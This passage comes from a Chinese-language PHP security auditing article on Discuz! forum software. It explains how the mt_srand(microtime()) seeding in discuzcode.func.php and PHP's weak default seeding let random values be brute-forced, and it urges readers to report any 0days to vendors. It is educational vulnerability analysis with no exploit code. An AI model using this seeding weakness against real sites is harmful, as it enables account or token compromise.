1) 'Cross Application Attacks' 這個思路是隻要目標上有使用使用的程序裏定義了類似mt_srand((double)microtime() * 1000000)的播種的話，又很有可能被暴力。在dz這裏不需要Cross Application，因爲他本身有文件就定義了，就是上面的第2個文件：

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

這裏我們肯定dz是存在這個漏洞的，文章給出來的exp也就是基於這個的。（具體exp利用的流程有興趣的可以自己分析下]）

2) 有的人認爲如果沒有mt_srand((double)microtime() * 1000000);這裏的定義，那麼dz就不存在漏洞，這個是不正確的。首先你不可以保證別人使用的其他應用程序沒有定義，再次不利用'Cross Application Attacks'，5.2.6>php>4.2.0 php本身默認播種的算法也不是很強悍（分析詳見上），也是有可以暴力出來，只是速度要慢一點。

後話

本文是80vul的三大馬甲：80vul-A，80vul-B，80vul-C集體智慧的結晶，尤其是80vul-B貢獻了不少新發現。另外需要感謝的是文章裏提到的那些漏洞的發現者，沒有他們的成果也就沒有本文。本文沒有寫“參考”，因爲本文是一個總結性的文擋，有太多的連接需要提供限於篇幅就沒有一一列舉，有心的讀者可以自行google。另外原本沒有打算公佈此文，因爲裏面包含了太多應用程序的0day，而且有太多的不尊重別人成果的人，老是利用從別人那學到的技術來炫耀，甚至牟取利益。在這裏我們希望你可以在本文裏學到些東西，更加希望如果通過本文你找到了某些應用程序的0day，請低調處理，或者直接提交給官方修補，謝謝大家！！

附錄

[1] http://bbs.phpchina.com/attachment.php?aid=22294'>http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/'>http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114'>http://bugs.php.net/bug.php?id=40114

Xysoul

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高級PHP應用程序漏洞審核技術

https://code.google.com/archive/p/pasc2at/wikis/SimplifiedChinese.wiki

前言

傳統的代碼審計技術

PHP版本與應用代碼審計

其他的因素與應用代碼審計

擴展我們的字典

變量本身的key

變量覆蓋

magic_quotes_gpc與代碼安全

代碼注射

PHP自身函數漏洞及缺陷

特殊字符

怎麼進一步尋找新的字典

DEMO

後話

附錄

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Android:apk反編譯步驟，打包、簽名和逆向工程經驗總結

apache+nginx 實現動靜分離

Tomcat學習

Linux如何查看JDK的安裝路徑

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